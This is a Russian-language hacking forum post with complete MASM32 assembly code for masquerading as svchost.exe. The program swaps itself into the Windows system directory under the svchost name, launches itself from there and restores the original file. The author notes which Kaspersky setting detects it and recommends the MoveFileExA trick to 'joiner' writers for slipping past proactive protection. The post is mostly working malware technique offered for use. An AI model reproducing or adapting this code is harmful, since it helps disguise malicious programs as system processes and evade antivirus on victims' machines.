Показать сообщение отдельно

  #13  
Старый 29.06.2007, 11:20
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Совсем забыл про распространенный и изящный метод, натягивания на себя привилегий svchost.exe

Код:
  .486                
  .model flat,stdcall
  option casemap :none
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
gText MACRO reg,zText:VARARG
      LOCAL m1
          call m1
          db zText,0
          m1:
          pop reg
        ENDM
FILE_NAME STRUCT
 PathFile  BYTE 256 dup (?) 
FILE_NAME ENDS
;----------------------------------------------
      .code
start:
main proc ;------------------------------------
LOCAL SystemDir  :FILE_NAME              
LOCAL FileName   :FILE_NAME              
LOCAL FileNameH  :FILE_NAME              
LOCAL FileNameHb :FILE_NAME              
LOCAL PI         :PROCESS_INFORMATION
LOCAL Sinfo      :STARTUPINFO
;Проверяем под каким именем запустились
   lea edi,FileName
 invoke GetModuleFileNameA,0,edi,255
    cmp [edi+eax-8],dword ptr 'tsoh'
    jz _svchost ; Переход если процесс svchost.exe
    jmp No_svchost 
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;Здесь мы для всех -> User  :\windows\system32\svchost.exe 
_svchost:
gText ecx,'svchost'
gText ebx,'OK'
      invoke MessageBoxA,0,ecx,ebx,0
    jmp EXIT
; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
No_svchost:
  lea edi,SystemDir
  invoke GetSystemDirectoryA,edi,255
  invoke SetCurrentDirectoryA,edi
    lea edi,FileNameH
    invoke GetSystemDirectoryA,edi,255
    mov [edi+eax-0],dword ptr 'cvs\'
    mov [edi+eax+4],dword ptr 'tsoh'
    mov [edi+eax+8],dword ptr 'exe.'
    mov [edi+eax+12],dword ptr 0
      lea esi,FileNameHb
      invoke GetSystemDirectoryA,esi,255
      mov [esi+eax-0],dword ptr 'cvs\'
      mov [esi+eax+4],dword ptr 'tsoh'
      mov [esi+eax+8],dword ptr 'kab.'
      mov [esi+eax+12],dword ptr 0
;MoveFile 'svchost.exe' в 'svchost.bak'
       invoke MoveFileExA,edi,esi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
;MoveFile 'наш.exe' в 'svchost.exe'
        lea esi,FileName
        invoke MoveFileExA,esi,edi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
;CreateProcess 'svchost.exe' = 'наш.exe'
         lea edi,Sinfo
         mov ecx,size(STARTUPINFO)
         xor eax,eax
         rep stosb
         lea ebx,PI
         lea edi,Sinfo
         mov Sinfo.cb,size(STARTUPINFO)
         gText esi,'.\svchost.exe'
         invoke CreateProcessA,0,esi,0,0,0,NORMAL_PRIORITY_CLASS,0,0,edi,ebx
;MoveFile 'svchost.bak' в 'svchost.exe' не обязательно
      lea edi,FileNameH
      lea esi,FileNameHb
      invoke MoveFileExA,esi,edi,MOVEFILE_COPY_ALLOWED or MOVEFILE_REPLACE_EXISTING
EXIT: 
 invoke ExitThread,0
;----------------------------------------------------------------------------------------------
main endp 
start_end:
end start
Палится Касперским, если установлена проверка запуска системных файлов.

Особенно полезен MoveFileExA для Joiner-o писателей. Т.к. запуск вновь созданного файла будет замечен любой проактивной защитой.
 
Ответить с цитированием